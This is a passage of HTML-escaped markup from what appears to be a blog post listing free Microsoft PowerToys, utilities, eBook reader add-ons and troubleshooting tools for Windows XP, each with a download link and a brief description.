href="http://www.microsoft.com/downloads/details.aspx?FamilyID=fee1dadd-2f23-41d0-8a81-2affd74c0aa5&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;Merlin&lt;/strong&gt;&lt;/a&gt;, &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=bd3c4655-79e4-4791-ab9d-abc7bbd133ef&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;Peedy&lt;/strong&gt;&lt;/a&gt;, &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=fa36d1d5-d828-494a-ad0a-7b571db5bd2e&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;Robby&lt;/strong&gt;&lt;/a&gt; &amp;amp; &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=c21be0ec-1712-427d-a43d-94c122ef8eb6&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;"Custom"&lt;/strong&gt;&lt;/a&gt;) to appear during specific help or instruction. (Support &lt;a href="http://www.microsoft.com/msagent/prodinfo/faq/speech.asp"&gt;&lt;strong&gt;FAQ&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/whistler/Install/2/WXP/EN-US/TaskswitchPowertoySetup.exe"&gt;&lt;strong&gt;&lt;u&gt;Alt-Tab Replacement&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; in addition to the icon of the application window you are switching to, you see a preview of the page.  &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=32b0d059-b53a-4dc9-8265-da47f157c091&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Calculator Plus&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; also performs many types of conversions. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.conferencexp.net/community/Default.aspx?tabindex=1&amp;amp;tabid=3"&gt;&lt;strong&gt;&lt;u&gt;ConferenceXP&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; enables you to see &amp;amp; hear others in a virtual collaborative space, called a venue. You collaborate on an electronic whiteboard or PowerPoint presentation, send messages and more.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.enhanceie.com/ie/feedsplus.asp"&gt;&lt;strong&gt;&lt;u&gt;Feeds Plus&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; is an Internet Explorer 7 add-on for RSS  pop-up notifications.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="https://www.foldershare.com/"&gt;&lt;strong&gt;&lt;u&gt;FolderShare&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; keeps important files at your fingertips - anywhere. All file changes are automatically synchronized between linked computers, so you always access the latest files.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://research.microsoft.com/en-us/downloads/8bd3a415-2628-48e9-8305-f54bc5704d2f/default.aspx"&gt;&lt;strong&gt;&lt;u&gt;GroupBar&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; desktop tool offers enhanced window management capabilities in a taskbar-like setting. Through simple drag-and-drop operations on window tiles within the bar, users can create lightweight, transient grouping relationships that allow them to perform certain higher-level window layout functions on multiple windows at once.&lt;/div&gt; &lt;div&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=5a588766-3697-4906-a239-f4222c91e324&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Location Finder&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; turns a regular WiFi enabled laptop, Tablet or PC into a location determining device without the addition of any separate hardware. Location Finder uses WiFi access points - or reverse IP lookup when WiFi is not available - to center and display the person's location on the &lt;a href="http://spaces.msn.com/bhandler/Blog/cns%211pt1v0Q4vD8jSvNS4lqdAuug%21614.entry"&gt;&lt;strong&gt;Windows Live Local&lt;/strong&gt;&lt;/a&gt;.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://research.microsoft.com/mapcruncher/downloads/MapCruncher-2.00.zip"&gt;&lt;strong&gt;&lt;u&gt;MapCruncher&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; converts existing maps into an online format that’s easy to use as Virtual Earth. PDF and raster maps can be converted just by clicking on corresponding landmarks on the user's map. (Support: &lt;a href="http://research.microsoft.com/mapcruncher/"&gt;&lt;strong&gt;Website&lt;/strong&gt;&lt;/a&gt;) &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://office.microsoft.com/search/redir.aspx?AssetID=XT011961211033&amp;amp;CTT=5&amp;amp;Origin=HA011408961033"&gt;&lt;u&gt;&lt;strong&gt;My Font Tool&lt;/strong&gt;&lt;/u&gt;&lt;/a&gt; converts your handwriting into a TrueType font, making typed text appear written by hand. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/whistler/Install/2/WXP/EN-US/CmdHerePowertoySetup.exe"&gt;&lt;strong&gt;&lt;u&gt;Open Command Window Here&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; adds an "Open Command Window Here" context menu option on file system folders, giving a quick way to open a command window.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/whistler/Install/2/WXP/EN-US/PowerCalcPowertoySetup.exe"&gt;&lt;strong&gt;&lt;u&gt;Power Calculator&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; graphd and evaluated functions as well as performs many conversions.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://research.microsoft.com/research/downloads/download.aspx?FUID=20682d64-c8c0-4427-8157-41a8bae15e13"&gt;&lt;strong&gt;&lt;u&gt;Scalable Fabric&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; task management system. A central focus area, defined by you, contains windows that behave in the traditional way. When you drag a window into the periphery, it becomes smaller and continues to get smaller the closer you get to the edge of the screen. This makes it possible to keep windows open all the time, and change "minimize" to mean "return to the periphery". (Support: &lt;a href="http://www.patrickbaudisch.com/projects/scalablefabric/index.html"&gt;&lt;strong&gt;Website&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=4a0a5245-fbc6-4330-9b43-e31aa0e2a248&amp;amp;displaylang=en&amp;amp;tm"&gt;&lt;strong&gt;&lt;u&gt;Snip IT&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; can email selected text within Internet Explorer.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/whistler/Install/2/WXP/EN-US/MagnifierPowertoySetup.exe"&gt;&lt;strong&gt;&lt;u&gt;Taskbar Magnifier&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; magnifies part of the screen from the taskbar.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;TIME ZONES:&lt;/strong&gt; There are two programs that help deal with multiple Time Zones: &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=bff59fcf-3148-40b8-a286-fe7274f6e4d8&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;Premium Time Zone&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; requires genuine Windows XP, the &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=07fb0bd8-f390-458d-a629-6f0258ac7cdf&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Standard Time Zone&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; program does not. (Support: &lt;a href="http://bhandler.spaces.live.com/Blog/cns%211pt1v0Q4vD8jSvNS4lqdAuug%21557.entry"&gt;&lt;strong&gt;Working with Time Zones&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/f/c/a/fca6767b-9ed9-45a6-b352-839afb2a2679/TweakUiPowertoySetup.exe"&gt;&lt;strong&gt;&lt;u&gt;Tweak UI&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; gives access to system settings not exposed in the default user interface, including mouse settings, Explorer settings, taskbar settings, and more.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=94991901-BFC4-485E-BCAE-C9DF0ACCDAAE&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;USB Flash Drive Manager&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; backup &amp;amp; restore files to/from a USB Flash Drive device. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/whistler/Install/2/WXP/EN-US/DeskmanPowertoySetup.exe"&gt;&lt;strong&gt;&lt;u&gt;Virtual Desktop Manager&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; manages up to four desktops from the Windows taskbar&lt;/div&gt; &lt;div&gt;&lt;br /&gt;&lt;a href="http://download.windowsupdate.com/msdownload/update/v3-19990518/cabpool/MSJavWU_8073687b82d41db93f4c2a04af2b34d.exe"&gt;&lt;strong&gt;&lt;u&gt;Virtual Machine&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; is Microsoft's Java Virtual Machine for Internet Explorer, allowing you to view java applets on Web pages.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/whistler/Install/2/WXP/EN-US/TimershotPowertoySetup.exe"&gt;&lt;strong&gt;&lt;u&gt;Webcam Timershot&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; takes and saves pictures at specified time intervals from a Webcam.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/f/9/a/f9a19f2d-cec4-4a25-9b0b-eb9655ea7561/Writer.msi"&gt;&lt;strong&gt;&lt;u&gt;Windows Live Writer&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; blogging authoring tool &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=72D6AA49-787D-4118-BA5F-4F30FE913628&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;XML Notepad 2007&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; provides browsing and editing XML documents. (Support: &lt;a href="http://msdn2.microsoft.com/en-us/library/aa905339.aspx"&gt;&lt;strong&gt;Design Doc&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=B8DCFFDD-E3A5-44CC-8021-7649FD37FFEE&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;XML Paper Specification Essentials Pack&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; enables you to view, generate and index XPS Documents.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/technet/sysinternals/utilities/zoomit.mspx"&gt;&lt;strong&gt;&lt;u&gt;ZoomIt&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; is screen zoom and annotation tool for technical presentations that include application demonstrations.  &lt;/div&gt;&lt;/blockquote&gt; &lt;div dir="ltr"&gt;&lt;strong&gt;&lt;/strong&gt; &lt;/div&gt; &lt;div dir="ltr"&gt;&lt;strong&gt;EBOOKS READER&lt;/strong&gt;&lt;/div&gt; &lt;blockquote dir="ltr"&gt; &lt;div dir="ltr"&gt;&lt;a href="http://download.microsoft.com/download/d/0/9/d099ad62-41d1-4e92-9935-67955a437460/MSReaderSetupUSA.exe"&gt;&lt;strong&gt;&lt;u&gt;eBooks Reader&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; offers digital versions of printed books using &lt;a href="http://www.microsoft.com/typography/WhatIsClearType.mspx"&gt;&lt;strong&gt;ClearType&lt;/strong&gt;&lt;/a&gt; technology.   &lt;/div&gt; &lt;blockquote&gt; &lt;div dir="ltr"&gt;&lt;strong&gt;Optional Reference &amp;amp; Dictionaries&lt;/strong&gt;&lt;/div&gt; &lt;ul dir="ltr"&gt;&lt;li&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/reader/includes/msebdict.lit"&gt;&lt;strong&gt;Encarta Pocket Reference&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt; &lt;/li&gt;&lt;li&gt; &lt;div&gt;&lt;strong&gt;&lt;u&gt;Foreign Language Translations&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;&lt;a href="http://www.microsoft.com/reader/includes/enfr.lit"&gt;&lt;strong&gt;English --&gt; French&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/reader/includes/fren.lit"&gt;&lt;strong&gt;French --&gt; English&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/reader/includes/ende.lit"&gt;&lt;strong&gt;English --&gt; German&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/reader/includes/deen.lit"&gt;&lt;strong&gt;German --&gt; English&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/reader/includes/enit.lit"&gt;&lt;strong&gt;English --&gt; Italian&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/reader/includes/iten.lit"&gt;&lt;strong&gt;Italian --&gt; English&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/reader/includes/enes.lit"&gt;&lt;strong&gt;English --&gt; Spanish&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/reader/includes/esen.lit"&gt;&lt;strong&gt;Spanish --&gt; English&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt; &lt;/li&gt;&lt;li&gt; &lt;div&gt;&lt;strong&gt;&lt;u&gt;Text-to-Speech Packages&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;&lt;a href="http://download.microsoft.com/download/msreader/Utility/1.0/W98NT42KMeXP/EN-US/ReaderTTSInstallENG.exe"&gt;&lt;strong&gt;English&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://download.microsoft.com/download/msreader/utility/1.0/w98nt42kmexp/fr/ReaderTTSInstallFRA.exe"&gt;&lt;strong&gt;French&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://download.microsoft.com/download/msreader/utility/1.0/w98nt42kmexp/de/readerttsinstallger.exe"&gt;&lt;strong&gt;German&lt;/strong&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/blockquote&gt;&lt;/blockquote&gt; &lt;div&gt;&lt;strong&gt;&lt;/strong&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;UTILITIES&lt;/strong&gt; &lt;/div&gt; &lt;blockquote dir="ltr"&gt; &lt;div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=7269173a-28bf-4cac-a682-58d3233efb4c&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;ActiveSync&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; synchronization of Outlook information, Office docs, pics, music, videos and applications from your desktop to Windows Mobile-based Pocket PCs &amp;amp; Smartphones. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=5cbd4659-3b28-4801-8729-05335902ce79&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Clear Cache Feature for Internet Explorer&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;  – automatically deletes all temporary Internet files, cookies, and history files. This was developed to programmatically clear these files when a corrupt entry caused errors with Internet Explorer.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/b/7/0/b7019730-0fa3-47a9-a159-98b80c185aad/setup.exe"&gt;&lt;strong&gt;&lt;u&gt;ClearType Tuner&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; fine tunes the ClearType technology via the Control Panel, making it easier to read text on your screen. A necessity for LCD screens (portables and flat screens) -- Or try it &lt;a href="http://www.microsoft.com/typography/cleartype/tuner/Step1.aspx"&gt;&lt;strong&gt;On-Line&lt;/strong&gt;&lt;/a&gt;. [Bonus = &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=22e69ae4-7e40-4807-8a86-b3d36fab68d3&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;Consolas ClearType Font Pack&lt;/strong&gt;&lt;/a&gt;] &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=1e33dca0-7721-43ca-9174-7f8d429fbb9e&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Color Control Panel Applet&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; adds a new "Color" item to the control panel, providing viewing and editing color management settings.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=cc37e08c-1019-4ae8-a258-0d5412876dec&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Desktop Language Settings&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; changes language, keyboard, and regional settings for Windows, Internet Explorer, and Office. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;&lt;u&gt;&lt;a href="http://www.microsoft.com/windows/products/winfamily/desktopsearch/default.mspx"&gt;Desktop Search 4&lt;/a&gt;&lt;/u&gt;&lt;/strong&gt; helps you to find, preview, and use your documents, e-mail, music, photos, and other items.&lt;br /&gt;&lt;/div&gt; &lt;ul&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=ea7f95d9-69ae-4639-9d76-a44f51109053&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Internet Explorer History Protocol Handler Add-in&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; indexes the history of the web pages you have browsed using Internet Explorer. (Support &lt;a href="http://support.microsoft.com/default.aspx/kb/918998"&gt;&lt;strong&gt;KB918998&lt;/strong&gt;&lt;/a&gt;)  &lt;/li&gt;&lt;li&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=f7e981d9-5a3b-4872-a07e-220761e27283&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;UNC/FAT Protocol Handler Add-in&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; indexes your shared network directories and FAT drive(s) allowing you to easily find your specific content. (Support &lt;a href="http://support.microsoft.com/kb/918996"&gt;&lt;strong&gt;KB918996&lt;/strong&gt;&lt;/a&gt;) &lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/e/f/f/effe51ca-369d-4a15-ba47-d465336efcbf/ttfext.exe"&gt;&lt;strong&gt;&lt;u&gt;Font Properties Extension&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; adds several new property tabs to the fonts dialog box. (Support: &lt;a href="http://www.microsoft.com/typography/TrueTypeProperty21.mspx"&gt;&lt;strong&gt;Website&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://isorecorder.alexfeinman.com/isorecorder.htm"&gt;&lt;strong&gt;&lt;u&gt;ISO Recorder Power Toy&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; makes images of CDs &amp;amp; DVDs to create ISO images.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=FB7B3DCD-D4C1-4943-9C74-D8DF57EF19D7&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;Keyboard Layout Creator&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; create &amp;amp; modify keyboard layouts. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://bhandler.spaces.live.com/blog/cns%2170F64BC910C9F7F3%211710.entry"&gt;&lt;strong&gt;&lt;u&gt;MSN Search Toolbar&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; software and components.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/7/b/6/7b6abd84-7841-4978-96f5-bd58df02efa2/winxpvirtualcdcontrolpanel_21.exe"&gt;&lt;strong&gt;&lt;u&gt;Mount ISO Files Virtually&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; - this tool allows ISO image files to be mounted virtually as a CD/DVD device.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/f/d/0/fd05def7-68a1-4f71-8546-25c359cc0842/UtilitySpotlight2006_11.exe"&gt;&lt;strong&gt;&lt;u&gt;RoboCopy GUI&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; - GUI for Command Line Utility&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=9d467a69-57ff-4ae7-96ee-b18c4790cffd&amp;amp;DisplayLang=en"&gt;&lt;strong&gt; ROBOCOPY&lt;/strong&gt;&lt;/a&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.win.tue.nl/sequoiaview/"&gt;&lt;u&gt;&lt;strong&gt;SequoiaView&lt;/strong&gt;&lt;/u&gt;&lt;/a&gt; - Treemap visualization of hard drive’s contents. (Utility&lt;a href="http://blogs.msdn.com/powertoys/archive/2005/12/30/508279.aspx"&gt;&lt;strong&gt;&lt;em&gt;approved&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;  by the PowerToys group)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=E0FC1154-C975-4814-9649-CCE41AF06EB7&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;SyncToy&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; helps copy, move, and synchronize files with digital cameras, e-mail, cell phones, portable media players, camcorders, PDAs, and laptops. (Support: &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=49818cf1-2287-40ea-8a6f-57bd8695f23d&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;How to  . . .&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt;&lt;/div&gt;&lt;/div&gt; &lt;div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=9689F6E9-ADED-44B8-BBBB-BEAE1B4A4BC9&amp;amp;displaylang=en"&gt;&lt;u&gt;&lt;strong&gt;System Configuration Utility&lt;/strong&gt;&lt;/u&gt;&lt;/a&gt; (msconfig) has been updated with a &lt;a href="http://support.microsoft.com/kb/906569"&gt;&lt;strong&gt;&lt;u&gt;Tools Tab&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;. The System Configuration utility automates the routine troubleshooting steps used when diagnosing system configuration issues. (Support: &lt;a href="http://support.microsoft.com/default.aspx?scid=kb;en-us;310560"&gt;&lt;strong&gt;How to MSCONFI&lt;u&gt;G&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; &amp;amp; &lt;a href="http://support.microsoft.com/default.aspx?scid=kb;en-us;316434"&gt;&lt;strong&gt;How to perform advanced clean-boot troubleshooting&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt;&lt;br /&gt;&lt;a href="http://www.codeplex.com/Terminals"&gt;&lt;strong&gt;&lt;u&gt;Terminals&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; is a "tabbed" terminal services/remote desktop client used for controlling multiple connection simultaneously.  &lt;/div&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=daa1c682-777b-471a-8fd3-b45c37ce947c&amp;amp;DisplayLang=en"&gt;&lt;u&gt;&lt;strong&gt;Transliteration Utility&lt;/strong&gt;&lt;/u&gt;&lt;/a&gt; (TU) tool for transliterating one natural language script to another (like Serbian Latin to Serbian Cyrillic or Latin to Inuktitut). Plus, it can be used to create, edit, debug, and test natural language transliteration modules used to convert one script to another. (Support: &lt;a href="http://www.microsoft.com/globaldev/handson/user/xpintlsupp.mspx"&gt;&lt;strong&gt;How to . . .&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/technet/scriptcenter/tools/twkmatic.mspx"&gt;&lt;strong&gt;&lt;u&gt;Tweakomatic&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; utility that writes Windows Management Instrumentation (WMI) scripts enablimg you to retrieve and/or configure Windows and Internet Explorer settings locally or remotely.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=0caa294c-29d9-4449-81d5-4b69b97df7ae&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;User State Migration Tool&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; (USMT) migrates user files and settings during large deployments by capturing desktop, network and application settings as well as a user files, and then migrates them to a new Windows installation. (Support: &lt;a href="http://www.microsoft.com/technet/desktopdeployment/userstate/userstateusmt.mspx"&gt;&lt;strong&gt;Homepage&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=6d58729d-dfa8-40bf-afaf-20bcb7f01cd1&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;Virtual PC&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; is a powerful software virtualization solution that allows running multiple PC-based operating systems simultaneously on one workstation. (Support: &lt;a href="http://download.microsoft.com/download/c/f/b/cfb100a7-463d-4b86-ad62-064397178b4f/Virtual_PC_Technical_Overview.doc"&gt;&lt;strong&gt;Technical Overview&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://research.microsoft.com/netres/projects/virtualwifi/software.htm"&gt;&lt;strong&gt;&lt;u&gt;VirtualWiFi&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; abstracts a single WLAN card to appear as multiple virtual WLAN cards to the user. The user can then configure each virtual card to connect to a different wireless network. Therefore, VirtualWiFi allows a user to simultaneously connect his machine to multiple wireless networks using just one WLAN card.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=d077a52d-93e9-4b02-bd95-9d770ccdb431&amp;amp;displaylang=en&amp;amp;tm"&gt;&lt;strong&gt;&lt;u&gt;Windows SteadyState&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; is designed for schools, libraries, Internet Cafés, and other public locations. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?displaylang=en&amp;amp;FamilyID=00A974B4-0BFA-4065-8081-BBAEBF2A5CB6"&gt;&lt;strong&gt;&lt;u&gt;Wntipcfg&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; This GUI tool gives you information about your IP configuration.&lt;br /&gt;&lt;/div&gt;&lt;/blockquote&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;SUPPORT &amp;amp; TROUBLESHOOTING&lt;/strong&gt;&lt;/div&gt; &lt;blockquote dir="ltr"&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/whistler/BTV/1.0/WXP/EN-US/BootVis-Tool.exe"&gt;&lt;u&gt;&lt;strong&gt;Bootvis&lt;/strong&gt;&lt;/u&gt;&lt;/a&gt; – Microsoft states this tool is &lt;a href="http://www.microsoft.com/whdc/system/sysperf/fastboot/bootvis.mspx"&gt;&lt;strong&gt;&lt;u&gt;not available&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;, but they still “&lt;a href="http://support.microsoft.com/default.aspx?scid=kb;en-us;821581"&gt;&lt;strong&gt;&lt;u&gt;support it&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;”.  Bootvis “was” a performance tracing and visualization tool designed to help identify performance issues for boot/resume timing while developing new PC products or supporting software.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://support.microsoft.com/kb/924732"&gt;&lt;strong&gt;&lt;u&gt;Change Analysis Diagnostic&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; tracks Windows OS changes  &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a 